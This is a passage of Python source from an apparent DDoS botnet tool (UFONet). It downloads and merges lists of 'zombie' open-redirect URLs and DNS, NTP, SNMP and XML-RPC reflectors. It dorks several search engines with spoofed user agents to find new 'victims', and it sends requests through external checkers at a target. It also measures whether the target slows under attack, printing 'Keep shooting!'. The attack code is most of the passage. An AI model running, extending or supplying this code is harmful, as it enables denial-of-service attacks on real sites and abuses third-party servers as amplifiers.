  3913. f = open('botnet/bosons.txt', 'w') # snmp
  3914. f.write(snmp_reply)
  3915. f.close()
  3916. print("[AI] [Control] [Blackhole] [GitHub] Reply: [VORTEX READY!] ;-)")
  3917. except:
  3918. print("[AI] [Control] [Blackhole] [GitHub] Reply: [VORTEX FAILED!]")
  3919. print('-'*12 + '\n')
  3920. print("[Error] [AI] Unable to download list of [Zombies] from this [Blackhole] [GitHub] -> [Exiting!]\n")
  3921. return
  3922. print('-'*12 + '\n')
  3923. num_abductions = 0
  3924. with open('botnet/abductions.txt') as f: # zombies
  3925. for _ in f:
  3926. num_abductions = num_abductions + 1
  3927. print("[Info] Zombies: " + str(num_abductions))
  3928. num_troops = 0
  3929. with open('botnet/troops.txt') as f: # aliens
  3930. for _ in f:
  3931. num_troops = num_troops + 1
  3932. print("[Info] Aliens : " + str(num_troops))
  3933. num_robots = 0
  3934. with open('botnet/robots.txt') as f: # droids
  3935. for _ in f:
  3936. num_robots = num_robots + 1
  3937. print("[Info] Droids : " + str(num_robots))
  3938. num_drones = 0
  3939. with open('botnet/drones.txt') as f: # ucavs
  3940. for _ in f:
  3941. num_drones = num_drones + 1
  3942. print("[Info] UCAVs : " + str(num_drones))
  3943. num_reflectors = 0
  3944. with open('botnet/reflectors.txt') as f: # rpcs
  3945. for _ in f:
  3946. num_reflectors = num_reflectors + 1
  3947. print("[Info] X-RPCs : " + str(num_reflectors))
  3948. num_crystals = 0
  3949. with open('botnet/crystals.txt') as f: # dns
  3950. for _ in f:
  3951. num_crystals = num_crystals + 1
  3952. print("[Info] DNSs : " + str(num_crystals))
  3953. num_warps = 0
  3954. with open('botnet/warps.txt') as f: # ntp
  3955. for _ in f:
  3956. num_warps = num_warps + 1
  3957. print("[Info] NTPs : " + str(num_warps))
  3958. num_bosons = 0
  3959. with open('botnet/bosons.txt') as f: # snmp
  3960. for _ in f:
  3961. num_bosons = num_bosons + 1
  3962. print("[Info] SNMPs : " + str(num_bosons))
  3963. total_zombies = num_abductions + num_troops + num_crystals + num_robots + num_drones + num_reflectors + num_warps + num_bosons
  3964. print("\n[Info] [AI] Congratulations!. Total downloaded: " + str(total_zombies))
  3965. print('-'*12)
  3966. if not self.options.forceyes:
  3967. update_reply = input("\n[AI] Do you want to merge ONLY the new 'troops' into your army? (Y/n)")
  3968. print('-'*25)
  3969. else:
  3970. update_reply = "Y"
  3971. if update_reply == "n" or update_reply == "N":
  3972. os.remove('botnet/abductions.txt') # remove zombies/abductions file
  3973. os.remove('botnet/troops.txt') # remove aliens/troops file
  3974. os.remove('botnet/crystals.txt') # remove dns/crystals file
  3975. os.remove('botnet/robots.txt') # remove droids/robots file
  3976. os.remove('botnet/drones.txt') # remove ucavs/drones file
  3977. os.remove('botnet/reflectors.txt') # remove rpcs/reflectors file
  3978. os.remove('botnet/warps.txt') # remove ntp/warps file
  3979. os.remove('botnet/bosons.txt') # remove snmp/bosons file
  3980. print("\n[Info] [AI] [Control] Temporal list downloaded has been removed! -> [Exiting!]")
  3981. print('-'*25)
  3982. print("\n[AI] "+self.exit_msg+"\n")
  3983. else:
  3984. zombies_ready = []
  3985. f = open('botnet/abductions.txt')
  3986. abductions = f.readlines()
  3987. f.close()
  3988. fz = open(self.zombies_file)
  3989. zombies = fz.readlines()
  3990. fz.close()
  3991. for abduction in abductions:
  3992. abduction = abduction.replace('\n','')
  3993. if abduction not in zombies:
  3994. zombies_ready.append(abduction)
  3995. else:
  3996. pass
  3997. self.update_zombies(zombies_ready)
  3998. os.remove('botnet/abductions.txt') # remove zombies/abductions file
  3999. aliens_ready = []
  4000. f = open('botnet/troops.txt')
  4001. troops = f.readlines()
  4002. f.close()
  4003. fz = open(self.aliens_file)
  4004. aliens = fz.readlines()
  4005. fz.close()
  4006. for alien in troops:
  4007. alien = alien.replace('\n','')
  4008. if alien not in aliens:
  4009. aliens_ready.append(alien)
  4010. else:
  4011. pass
  4012. self.update_aliens(aliens_ready)
  4013. os.remove('botnet/troops.txt') # remove aliens/troops file
  4014. dnss_ready = []
  4015. f = open('botnet/crystals.txt')
  4016. crystals = f.readlines()
  4017. f.close()
  4018. fz = open(self.dnss_file)
  4019. dnss = fz.readlines()
  4020. fz.close()
  4021. for crystal in crystals:
  4022. crystal = crystal.replace('\n','')
  4023. if crystal not in dnss:
  4024. dnss_ready.append(crystal)
  4025. else:
  4026. pass
  4027. self.update_dnss(dnss_ready)
  4028. os.remove('botnet/crystals.txt') # remove dns/crystals file
  4029. droids_ready = []
  4030. f = open('botnet/robots.txt')
  4031. robots = f.readlines()
  4032. f.close()
  4033. fz = open(self.droids_file)
  4034. droids = fz.readlines()
  4035. fz.close()
  4036. for droid in robots:
  4037. droid = droid.replace('\n','')
  4038. if droid not in droids:
  4039. droids_ready.append(droid)
  4040. else:
  4041. pass
  4042. self.update_droids(droids_ready)
  4043. os.remove('botnet/robots.txt') # remove droids/robots file
  4044. ucavs_ready = []
  4045. f = open('botnet/drones.txt')
  4046. drones = f.readlines()
  4047. f.close()
  4048. fz = open(self.ucavs_file)
  4049. ucavs = fz.readlines()
  4050. fz.close()
  4051. for drone in drones:
  4052. drone = drone.replace('\n','')
  4053. if drone not in ucavs:
  4054. ucavs_ready.append(drone)
  4055. else:
  4056. pass
  4057. self.update_ucavs(ucavs_ready)
  4058. os.remove('botnet/drones.txt') # remove UCAVs/drones file
  4059. rpcs_ready = []
  4060. f = open('botnet/reflectors.txt')
  4061. reflectors = f.readlines()
  4062. f.close()
  4063. fz = open(self.rpcs_file)
  4064. rpcs = fz.readlines()
  4065. fz.close()
  4066. for reflector in reflectors:
  4067. reflector = reflector.replace('\n','')
  4068. if reflector not in rpcs:
  4069. rpcs_ready.append(reflector)
  4070. else:
  4071. pass
  4072. self.update_rpcs(rpcs_ready)
  4073. os.remove('botnet/reflectors.txt') # remove RPCs/reflectors file
  4074. ntps_ready = []
  4075. f = open('botnet/warps.txt')
  4076. warps = f.readlines()
  4077. f.close()
  4078. fz = open(self.ntps_file)
  4079. ntps = fz.readlines()
  4080. fz.close()
  4081. for warp in warps:
  4082. warp = warp.replace('\n','')
  4083. if warp not in ntps:
  4084. ntps_ready.append(warp)
  4085. else:
  4086. pass
  4087. self.update_ntps(ntps_ready)
  4088. os.remove('botnet/warps.txt') # remove NTP/warps file
  4089. snmps_ready = []
  4090. f = open('botnet/bosons.txt')
  4091. bosons = f.readlines()
  4092. f.close()
  4093. fz = open(self.snmps_file)
  4094. snmps = fz.readlines()
  4095. fz.close()
  4096. for boson in bosons:
  4097. boson = boson.replace('\n','')
  4098. if boson not in snmps:
  4099. snmps_ready.append(boson)
  4100. else:
  4101. pass
  4102. self.update_snmps(snmps_ready)
  4103. os.remove('botnet/bosons.txt') # remove SNMP/bosons file
  4104. print("\n[Info] [AI] Botnet updated! -> ;-)")
  4105. self.update_transferred_stats(self.trans_zombies) # update json file with transferred stats (blackhole)
  4106. if not self.options.forceyes: # ask for update everything
  4107. print('-'*25 + "\n")
  4108. update_reply = input("[AI] You would also like to update other content: [News] [Missions] [Grid] [Board]... (Y/n)")
  4109. else:
  4110. update_reply = "Y"
  4111. if update_reply == "n" or update_reply == "N":
  4112. print("\n[AI] "+self.exit_msg+"\n")
  4113. return
  4114. else:
  4115. try:
  4116. update_gui = self.update_gui_data() # update GUI data
  4117. except:
  4118. print('-'*25 +"\n")
  4119. print("[Error] [AI] Something wrong downloading GUI content! -> [Aborting!]")
  4120. print('-'*25)
  4121. print("\n[AI] "+self.exit_msg+"\n")
  4122. return
  4123. def uploading_github_list(self):
  4124. print(" 0. Set a different URL (if required) for code repository sources:\n\n [current: "+self.github_zombies+"]\n")
  4125. print(" 1. Test your 'zombies' to upload only those that really work (ex: ufonet --test-all).")
  4126. print(" 2. Make a -PULL REQUEST- to the owner of the code repository.")
  4127. print(" 3. Share your updates in the #UFONet 'motherships'...\n")
  4128. print('='*22 + '\n')
  4129. print("[AI] "+self.exit_msg+"\n")
  4130. def create_web_interface(self):
  4131. # launch webserver+gui
  4132. from .webgui import ClientThread
  4133. import webbrowser
  4134. host = '0.0.0.0'
  4135. port = 9999
  4136. try:
  4137. webbrowser.open('http://127.0.0.1:9999', new=1)
  4138. tcpsock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  4139. tcpsock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
  4140. tcpsock.bind((host,port))
  4141. while True:
  4142. tcpsock.listen(4)
  4143. (clientsock, (ip, port)) = tcpsock.accept()
  4144. newthread = ClientThread(ip, port, clientsock)
  4145. newthread.start()
  4146. except (KeyboardInterrupt, SystemExit):
  4147. sys.exit()
  4148. def extract_dorks(self):
  4149. # extract dorks from file (ex: 'dorks.txt')
  4150. try:
  4151. f = open(self.dorks_file)
  4152. dorks = f.readlines()
  4153. dorks = [ dork.replace('\n','') for dork in dorks ]
  4154. f.close()
  4155. if not dorks:
  4156. if not options.autosearch:
  4157. print("[Error] [AI] [Control] Cannot retrieve [Dorks] from: 'botnet/dorks.txt' -> [Aborting!]\n")
  4158. return
  4159. else:
  4160. return dorks
  4161. except:
  4162. if not options.autosearch:
  4163. if os.path.exists(self.dorks_file) == True:
  4164. print("[Error] [AI] [Control] Cannot open [Dorks] from: 'botnet/dorks.txt' -> [Aborting!]\n")
  4165. return #sys.exit(2)
  4166. else:
  4167. print("[Error] [AI] [Control] Cannot found [Dorks] from: 'botnet/dorks.txt' -> [Aborting!]\n")
  4168. return #sys.exit(2)
  4169. else:
  4170. return
  4171. def _engine_query_string(self, dork):
  4172. options = self.options
  4173. if options.search:
  4174. return options.search, 'instreamset:(url):"' + str(options.search) + '"'
  4175. if options.dorks or options.autosearch:
  4176. return dork, 'instreamset:(url):"' + str(dork) + '"'
  4177. return dork, str(dork)
  4178. def _engine_fetch(self, url, headers, timeout=10):
  4179. options = self.options
  4180. if options.proxy:
  4181. self.proxy_transport(options.proxy)
  4182. req = urllib.request.Request(url, None, headers)
  4183. return urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read().decode('utf-8', errors='replace')
  4184. def _engine_failure_prompt(self, engine_name):
  4185. options = self.options
  4186. print('[Error] [AI] Unable to connect to: ' + engine_name + '\n')
  4187. if options.allengines or options.autosearch:
  4188. return False
  4189. if not self.options.forceyes:
  4190. r = input("[AI] Do you want to try a different search engine? (Y/n)")
  4191. else:
  4192. r = "Y"
  4193. if r == "n" or r == "N":
  4194. return False
  4195. print("\nSearch engines available:")
  4196. print('-'*25)
  4197. for e in self.search_engines:
  4198. print("+ "+e)
  4199. print('-'*25)
  4200. print("\nEx: ufonet -s 'page.php?url=' --se 'bing'")
  4201. return False
  4202. def _bing_decode(self, raw):
  4203. raw = raw.replace('&amp;', '&')
  4204. m = re.search(r'[?&]u=a1([^&]+)', raw)
  4205. if not m:
  4206. return raw
  4207. token = m.group(1)
  4208. try:
  4209. b64 = token + '=' * ((4 - len(token) % 4) % 4)
  4210. import base64 as _b
  4211. return _b.urlsafe_b64decode(b64).decode('utf-8', errors='replace')
  4212. except Exception:
  4213. return raw
  4214. def _yahoo_decode(self, raw):
  4215. if 'RU=' in raw:
  4216. piece = raw.rsplit('RU=', 1)[1]
  4217. piece = piece.split('/RK=', 1)[0]
  4218. return urllib.parse.unquote(piece)
  4219. return raw
  4220. def search_zombies(self, dork, zombies_found):
  4221. options = self.options
  4222. zombies = []
  4223. if not options.engine:
  4224. options.engine = 'duck'
  4225. engine = options.engine
  4226. sep, q = self._engine_query_string(dork)
  4227. if options.num_results:
  4228. try:
  4229. num_results = int(options.num_results)
  4230. except:
  4231. print("[Info] [AI] You should specify an integer!... Using default value: 10\n")
  4232. num_results = 10
  4233. else:
  4234. num_results = 10
  4235. self.user_agent = random.choice(self.agents).strip()
  4236. headers = {'User-Agent': self.user_agent, 'Referer': self.referer, 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8', 'Accept-Language': 'en-US,en;q=0.5'}
  4237. url_links = []
  4238. if engine == 'bing':
  4239. url = 'https://www.bing.com/search?' + urllib.parse.urlencode({'q': q, 'first': 0})
  4240. if options.verbose:
  4241. print("[Info] [AI] [DORKING] Query used: " + url)
  4242. print("[Info] [AI] [DORKING] Max results: " + str(num_results) + "\n")
  4243. try:
  4244. req_reply = self._engine_fetch(url, headers)
  4245. except Exception:
  4246. self._engine_failure_prompt('bing'); return
  4247. raw = re.findall(r'<a\s+class="tilk"[^>]*href="([^"]+)"', req_reply)
  4248. if not raw:
  4249. raw = re.findall(r'<h2><a[^>]+href="([^"]+)"[^>]*>', req_reply)
  4250. url_links = [self._bing_decode(r) for r in raw]
  4251. elif engine == 'duck':
  4252. if options.verbose:
  4253. print("[Info] [AI] [DORKING] Query used: ddgs.DDGS().text(" + repr(q) + ")")
  4254. print("[Info] [AI] [DORKING] Max results: " + str(num_results) + "\n")
  4255. try:
  4256. DDGS = None
  4257. try:
  4258. import warnings
  4259. with warnings.catch_warnings():
  4260. warnings.simplefilter('ignore')
  4261. from ddgs import DDGS as _DDGS
  4262. DDGS = _DDGS
  4263. except ImportError:
  4264. pass
  4265. if DDGS is None:
  4266. try:
  4267. import warnings
  4268. with warnings.catch_warnings():
  4269. warnings.simplefilter('ignore')
  4270. from duckduckgo_search import DDGS as _DDGS
  4271. DDGS = _DDGS
  4272. except ImportError:
  4273. from core._ensure import ensure
  4274. if ensure('ddgs', 'ddgs') is None:
  4275. self._engine_failure_prompt('duck'); return
  4276. from ddgs import DDGS as _DDGS
  4277. DDGS = _DDGS
  4278. if options.proxy:
  4279. self.proxy_transport(options.proxy)
  4280. attempt = 0
  4281. req_reply = None
  4282. while attempt < 3:
  4283. try:
  4284. req_reply = list(DDGS().text(q, safesearch='off', max_results=num_results))
  4285. break
  4286. except Exception as e:
  4287. attempt += 1
  4288. if 'Ratelimit' in str(e) or '202' in str(e):
  4289. if options.verbose:
  4290. print('[Info] [AI] [DORKING] duck ratelimited, retry ' + str(attempt) + '/3 after backoff...')
  4291. time.sleep(2 * attempt)
  4292. continue
  4293. raise
  4294. if req_reply is None:
  4295. raise RuntimeError('duck: exhausted retries (ratelimit)')
  4296. except Exception:
  4297. self._engine_failure_prompt('duck'); return
  4298. for r in req_reply:
  4299. if isinstance(r, dict) and r.get('href'):
  4300. url_links.append(r['href'])
  4301. elif engine == 'brave':
  4302. url = 'https://search.brave.com/search?' + urllib.parse.urlencode({'q': q})
  4303. if options.verbose:
  4304. print("[Info] [AI] [DORKING] Query used: " + url)
  4305. print("[Info] [AI] [DORKING] Max results: " + str(num_results) + "\n")
  4306. try:
  4307. req_reply = self._engine_fetch(url, headers)
  4308. except Exception:
  4309. self._engine_failure_prompt('brave'); return
  4310. for pat in (r'<a\s+href="([^"]+)"[^>]*class="(?:h|result-header|snippet-title)"',
  4311. r'<a class="(?:h|result-header|snippet-title)"\s+href="([^"]+)"',
  4312. r'<a\s+href="(https?://[^"]+)"\s+rel="noopener'):
  4313. url_links = re.findall(pat, req_reply)
  4314. if url_links:
  4315. break
  4316. elif engine == 'mojeek':
  4317. url = 'https://www.mojeek.com/search?' + urllib.parse.urlencode({'q': q})
  4318. if options.verbose:
  4319. print("[Info] [AI] [DORKING] Query used: " + url)
  4320. print("[Info] [AI] [DORKING] Max results: " + str(num_results) + "\n")
  4321. try:
  4322. req_reply = self._engine_fetch(url, headers)
  4323. except Exception:
  4324. self._engine_failure_prompt('mojeek'); return
  4325. for pat in (r'<a class="ob"\s+href="([^"]+)"',
  4326. r'<a class="title"\s+href="([^"]+)"',
  4327. r'<a\s+href="(https?://[^"]+)"[^>]*class="title"'):
  4328. url_links = re.findall(pat, req_reply)
  4329. if url_links:
  4330. break
  4331. elif engine == 'yahoo':
  4332. url = 'https://search.yahoo.com/search?' + urllib.parse.urlencode({'p': q, 'b': 1})
  4333. if options.verbose:
  4334. print("[Info] [AI] [DORKING] Query used: " + url)
  4335. print("[Info] [AI] [DORKING] Max results: " + str(num_results) + "\n")
  4336. try:
  4337. req_reply = self._engine_fetch(url, headers)
  4338. except Exception:
  4339. self._engine_failure_prompt('yahoo'); return
  4340. for pat in (r'<a class="d-ib[^"]*"\s+href="([^"]+)"',
  4341. r'<h3 class="title"[^>]*>\s*<a\s+href="([^"]+)"',
  4342. r'<a\s+href="(https?://[^"]+RU=[^"]+)"'):
  4343. raw = re.findall(pat, req_reply)
  4344. if raw:
  4345. url_links = [self._yahoo_decode(r) for r in raw]
  4346. break
  4347. elif engine == 'startpage':
  4348. url = 'https://www.startpage.com/do/search?' + urllib.parse.urlencode({'query': q})
  4349. if options.verbose:
  4350. print("[Info] [AI] [DORKING] Query used: " + url)
  4351. print("[Info] [AI] [DORKING] Max results: " + str(num_results) + "\n")
  4352. try:
  4353. req_reply = self._engine_fetch(url, headers)
  4354. except Exception:
  4355. self._engine_failure_prompt('startpage'); return
  4356. for pat in (r'<a class="w-gl__result-title result-link"\s+href="([^"]+)"',
  4357. r'<a class="result-link"\s+href="([^"]+)"',
  4358. r'<a\s+href="([^"]+)"\s+class="result-link"'):
  4359. url_links = re.findall(pat, req_reply)
  4360. if url_links:
  4361. break
  4362. elif engine == 'ecosia':
  4363. url = 'https://www.ecosia.org/search?' + urllib.parse.urlencode({'q': q})
  4364. if options.verbose:
  4365. print("[Info] [AI] [DORKING] Query used: " + url)
  4366. print("[Info] [AI] [DORKING] Max results: " + str(num_results) + "\n")
  4367. try:
  4368. req_reply = self._engine_fetch(url, headers)
  4369. except Exception:
  4370. self._engine_failure_prompt('ecosia'); return
  4371. for pat in (r'<a class="result-title"\s+href="([^"]+)"',
  4372. r'<a\s+href="([^"]+)"[^>]*class="result__title"',
  4373. r'<a\s+data-test-id="result-link"\s+href="([^"]+)"'):
  4374. url_links = re.findall(pat, req_reply)
  4375. if url_links:
  4376. break
  4377. else:
  4378. print('[Error] [AI] This search engine is not supported!\n')
  4379. self._engine_failure_prompt(engine); return
  4380. num = num_results
  4381. total_results = 1
  4382. for url in url_links:
  4383. if int(num) < int(total_results):
  4384. break
  4385. total_results = total_results + 1
  4386. url_link = urllib.parse.unquote(url)
  4387. url_link = url_link.rsplit(sep, 1)[0] + sep
  4388. if 'href="' in url_link:
  4389. url_link = url_link.rsplit('href="', 1)[1]
  4390. if "instreamset" in url_link:
  4391. url_link = ""
  4392. if '" ' in url_link:
  4393. url_link = url_link.rsplit('" ', 1)[1]
  4394. if engine in url_link:
  4395. url_link = ""
  4396. if 'http' not in url_link:
  4397. url_link = ""
  4398. else:
  4399. if url_link not in zombies and url_link+os.linesep not in zombies_found and url_link != "":
  4400. print('+Victim found: ' + url_link)
  4401. zombies.append(url_link)
  4402. if len(zombies) == 0: # print dorking results
  4403. print("[Info] [AI] NOT any NEW victim(s) found for this query!\n")
  4404. if not options.dorks:
  4405. if not options.autosearch:
  4406. if not self.options.forceyes:
  4407. return #sys.exit(2)
  4408. self.total_possible_zombies = self.total_possible_zombies + len(zombies)
  4409. print("")
  4410. return zombies
  4411. def check_nat(self):
  4412. # check for NAT configuration
  4413. options = self.options
  4414. tor_reply = urllib.request.urlopen(self.check_tor_url).read().decode('utf-8') # check if TOR is enabled
  4415. your_ip = tor_reply.split('<strong>')[1].split('</strong>')[0].strip()
  4416. check_ip_service = None
  4417. if not tor_reply or 'Congratulations' not in tor_reply:
  4418. print("[Info] [AI] It seems that you are not using TOR to recieve data. -> [OK!]\n")
  4419. else:
  4420. print("[Error] [AI] You are using TOR as public IP... It's not possible to NAT! -> [Aborting!]\n")
  4421. self.nat_error_flag = "ON"
  4422. return #sys.exit(2)
  4423. self.pub_ip = self._public_ip_via_dns()
  4424. if self.pub_ip:
  4425. check_ip_service = 'OpenDNS (208.67.222.222)'
  4426. else:
  4427. self.pub_ip = self._public_ip_via_http()
  4428. check_ip_service = self.check_ip_service1
  4429. if not self.pub_ip:
  4430. print("[Error] [AI] Something wrong checking your public IP! -> [Exiting!]\n")
  4431. self.nat_error_flag = "ON"
  4432. return
  4433. print(" + Public: " + self.pub_ip + " | "+check_ip_service+"\n")
  4434. from core._dns_pool import random_dummy_host
  4435. s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
  4436. s.connect((random_dummy_host(), 0)) # UDP connect doesn't send packets (black magic)
  4437. self.local_ip = s.getsockname()[0]
  4438. print(" + Local: " + self.local_ip + "\n")
  4439. print('='*22 + '\n')
  4440. def extract_ucavs(self):
  4441. # extract ucavs from file
  4442. options = self.options
  4443. try:
  4444. f = open(self.ucavs_file)
  4445. ucavs = f.readlines()
  4446. ucavs = [ ucav.replace('\n','') for ucav in ucavs ]
  4447. f.close()
  4448. if not ucavs:
  4449. print("[Info] [AI] [Control] Cannot retrieve [UCAVs] from: 'botnet/ucavs.txt' -> [Discarding!]")
  4450. self.options.disableucavs = True
  4451. return
  4452. else:
  4453. return ucavs
  4454. except:
  4455. if os.path.exists(self.ucavs_file) == True:
  4456. print("[Info] [AI] [Control] Cannot open [UCAVs] from: 'botnet/ucavs.txt' -> [Discarding!]")
  4457. return #sys.exit(2)
  4458. else:
  4459. print("[Info] [AI] [Control] Cannot found [UCAVs] from: 'botnet/ucavs.txt' -> [Discarding!]")
  4460. return #sys.exit(2)
  4461. def discarding_ucavs(self, ucav, ucavs):
  4462. if ucav in self.discard_ucavs:
  4463. ucavs.remove(ucav)
  4464. if self.options.verbose:
  4465. print(("[Info] [AI] [Control] [UCAVs] "+str(ucav)+" is not working! -> [Discarding!]"))
  4466. self.ucavs_fail = self.ucavs_fail + 1 # add ucav fail to stats
  4467. return ucavs
  4468. def send_ucavs(self, ucavs):
  4469. # extract external status checkers, perform a request and check results
  4470. time.sleep(5) # aiming (multi-threading flow time compensation)
  4471. if not self.options.disablepurge:
  4472. if not ucavs: # return when not any working
  4473. self.options.disableucavs = True
  4474. return
  4475. options = self.options
  4476. target = self.options.target
  4477. shuffle(ucavs) # shuffle ucavs order, each round :-)
  4478. if not self.options.disablepurge:
  4479. for ucav in ucavs:
  4480. if not ucav.startswith('http'): # discarded inmediately
  4481. self.discard_ucavs.append(ucav)
  4482. self.num_discard_ucavs = self.num_discard_ucavs + 1
  4483. ucavs = self.discarding_ucavs(ucav, ucavs) # check if ucav is failing for autobalance army
  4484. if not self.options.disablepurge:
  4485. if not ucavs: # return when not any working
  4486. self.options.disableucavs = True
  4487. return
  4488. shuffle(ucavs) # shuffle ucavs order, each discarding check :-)
  4489. for ucav in ucavs:
  4490. self.user_agent = random.choice(self.agents).strip() # shuffle user-agent
  4491. headers = {'User-Agent' : self.user_agent, 'Referer' : self.referer} # set fake user-agent and referer
  4492. if target.startswith("http://"): # parse target for some checkers
  4493. target = target.replace('http://','')
  4494. elif target.startswith("https://"):
  4495. target = target.replace('https://','')
  4496. url = ucav + target
  4497. t = urlparse(ucav)
  4498. name_ucav = t.netloc
  4499. if name_ucav == "":
  4500. name_ucav = ucav
  4501. if options.verbose:
  4502. print(("[Info] [UCAVs] Sniping: " + url))
  4503. try:
  4504. if options.proxy: # set proxy
  4505. self.proxy_transport(options.proxy)
  4506. if options.timeout: # set timeout
  4507. ucav_timeout = options.timeout
  4508. else:
  4509. ucav_timeout = 5
  4510. if ucav_timeout < 1:
  4511. ucav_timeout = 5
  4512. req = urllib.request.Request(url, None, headers)
  4513. target_reply = urllib.request.urlopen(req, context=self.ctx, timeout=ucav_timeout).read().decode('utf-8')
  4514. self.ucavs_hit = self.ucavs_hit + 1 # add ucav hit to stats
  4515. except:
  4516. print("[Info] [UCAVs] " + name_ucav + " -> FAILED (cannot connect!)")
  4517. if not self.options.disablepurge:
  4518. self.discard_ucavs.append(ucav)
  4519. self.num_discard_ucavs = self.num_discard_ucavs + 1
  4520. self.ucavs_fail = self.ucavs_fail + 1 # add ucav fail to stats
  4521. target_reply = ""
  4522. if target_reply == "": # check for target's status resolved by [UCAVs]
  4523. pass
  4524. else:
  4525. if not "is down" or not "looks down" or not "No info found for host" in target_reply: # parse external service for reply
  4526. print("[Info] [UCAVs] " + name_ucav + " -> Target is ONLINE! -> [Keep shooting!]")
  4527. self.num_is_up = self.num_is_up + 1
  4528. else:
  4529. print("[Info] [UCAVs] " + name_ucav + " -> Target looks OFFLINE! -> [Checking!]")
  4530. self.num_is_down = self.num_is_down + 1
  4531. if self.options.verbose:
  4532. print("[Info] [AI] [UCAVs] "+str(name_ucav)+" is returning...")
  4533. self.extra_zombies_lock = False # [ARMY] have finished
  4534. def extract_median(self, num_list):
  4535. # extract median from a list of numbers
  4536. import statistics
  4537. int_num = []
  4538. for num in num_list:
  4539. num = float(num)
  4540. int_num.append(num)
  4541. return statistics.median(int_num)
  4542. def check_is_loading(self, target):
  4543. # perform a broadband test (using GET) to analize target's reply to the traffic generated each round
  4544. self.start = None
  4545. self.stop = None
  4546. print('\n---------')
  4547. print("\n[Info] [AI] Scanning target to check for levels on defensive shields...\n")
  4548. if target.endswith(""):
  4549. target.replace("", "/")
  4550. self.user_agent = random.choice(self.agents).strip() # shuffle user-agent
  4551. headers = {'User-Agent' : self.user_agent, 'Referer' : self.referer} # set fake user-agent and referer
  4552. try:
  4553. req = urllib.request.Request(target, None, headers)
  4554. if self.options.proxy: # set proxy
  4555. self.proxy_transport(self.options.proxy)
  4556. if self.options.timeout: # set timeout
  4557. try:
  4558. timeout = int(self.options.timeout)
  4559. except:
  4560. timeout = 5
  4561. else:
  4562. timeout = 5
  4563. if timeout < 1:
  4564. timeout = 5
  4565. self.start = time.time()
  4566. target_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read().decode('utf-8')
  4567. header = urllib.request.urlopen(req, context=self.ctx).info()
  4568. self.stop = time.time()
  4569. except:
  4570. print('[Info] [AI] Our scanner cannot connect to the target this round! -> [Skipping!]\n')
  4571. return
  4572. try:
  4573. s, size_name = self.convert_size(len(target_reply))
  4574. self.loadcheck_size_list.append(s) # add record to size list
  4575. size = '%s %s' % (s,size_name)
  4576. except:
  4577. size = "Error!"
  4578. try:
  4579. time_required = self.stop - self.start
  4580. load = self.convert_time(time_required)
  4581. self.loadcheck_load_list.append(load) # add record to load list
  4582. except:
  4583. load = "Error!"
  4584. self.loadcheck_counter = self.loadcheck_counter + 1
  4585. print(' -Total tests:', self.loadcheck_counter, "\n")
  4586. if self.loadcheck_prev_size is not None and self.loadcheck_prev_load is not None:
  4587. lsm = self.extract_median(self.loadcheck_size_list)
  4588. if lsm is not None:
  4589. self.loadcheck_size_median = str(lsm) + " " + size_name
  4590. else:
  4591. self.loadcheck_size_median = None
  4592. llm = self.extract_median(self.loadcheck_load_list)
  4593. if llm is not None:
  4594. self.loadcheck_load_median = str(llm) + " seconds"
  4595. else:
  4596. self.loadcheck_load_median = None
  4597. if self.loadcheck_counter == 2: # first round
  4598. print(' -Bytes in (first round) :', self.loadcheck_first_size)
  4599. print(' -Bytes in (this round) :', size)
  4600. if self.loadcheck_size_median is not None:
  4601. print(' -Bytes in (median) :', self.loadcheck_size_median)
  4602. print(' ----')
  4603. print(' -Load time (first round) :', self.loadcheck_first_load, "seconds")
  4604. print(' -Load time (this round) :', load, "seconds")
  4605. if self.loadcheck_load_median is not None:
  4606. print(' -Load time (median) :', self.loadcheck_load_median, "\n")
  4607. else:
  4608. print("\n")
  4609. self.loadcheck_size_max = None
  4610. self.loadcheck_size_min = None
  4611. self.loadcheck_load_max = None
  4612. self.loadcheck_load_min = None
  4613. elif self.loadcheck_counter > 2: # rest of rounds
  4614. lsmax = max(self.loadcheck_size_list)
  4615. if lsmax is not None:
  4616. self.loadcheck_size_max = str(lsmax) + " " + size_name
  4617. else:
  4618. self.loadcheck_size_max = None
  4619. lsmin = min(self.loadcheck_size_list)
  4620. if lsmin is not None:
  4621. self.loadcheck_size_min = str(lsmin) + " " + size_name
  4622. else:
  4623. self.loadcheck_size_min = None
  4624. llmax = max(self.loadcheck_load_list)
  4625. if llmax is not None:
  4626. self.loadcheck_load_max = str(llmax) + " seconds"
  4627. else:
  4628. self.loadcheck_load_max = None
  4629. llmin = min(self.loadcheck_load_list)
  4630. if llmin is not None:
  4631. self.loadcheck_load_min = str(llmin) + " seconds"
  4632. else:
  4633. self.loadcheck_load_min = None
  4634. print(' -Bytes in (first round) :', self.loadcheck_first_size)
  4635. print(' -Bytes in (previous round) :', self.loadcheck_prev_size)
  4636. print(' -Bytes in (this round) :', size)
  4637. if self.loadcheck_size_max is not None:
  4638. print(' -Bytes in (max) :', self.loadcheck_size_max)
  4639. if self.loadcheck_size_min is not None:
  4640. print(' -Bytes in (min) :', self.loadcheck_size_min)
  4641. if self.loadcheck_size_median is not None:
  4642. print(' -Bytes in (median) :', self.loadcheck_size_median)
  4643. print(' ----')
  4644. print(' -Load time (first round) :', self.loadcheck_first_load, "seconds")
  4645. print(' -Load time (previous round):', self.loadcheck_prev_load, "seconds")
  4646. print(' -Load time (this round) :', load, "seconds")
  4647. if self.loadcheck_load_max is not None:
  4648. print(' -Load time (max) :', self.loadcheck_load_max)
  4649. if self.loadcheck_load_min is not None:
  4650. print(' -Load time (min) :', self.loadcheck_load_min)
  4651. if self.loadcheck_load_median is not None:
  4652. print(' -Load time (median) :', self.loadcheck_load_median, "\n")
  4653. else:
  4654. print("\n")
  4655. if self.loadcheck_prev_load < load: # target is loading more slowly
  4656. print("[Info] [AI] [Scanner] Target is serving the content more slowly this round! ;-) -> [Keep shooting!]\n")
  4657. elif self.loadcheck_prev_load == load: # inmutable target
  4658. print("[Info] [AI] [Scanner] Attack is not having any effect on your target this round... -> [Keep shooting!]\n")
  4659. elif self.loadcheck_prev_load > load: # is target defending?
  4660. print("[Info] [AI] [Scanner] Target is loading this round faster than the previous one! -> DETECTED: [PROXY CACHE!!]\n")
  4661. else:
  4662. print(' -Bytes in (this round) :', size)
  4663. print(' -Load time (this round):', load, "seconds\n")
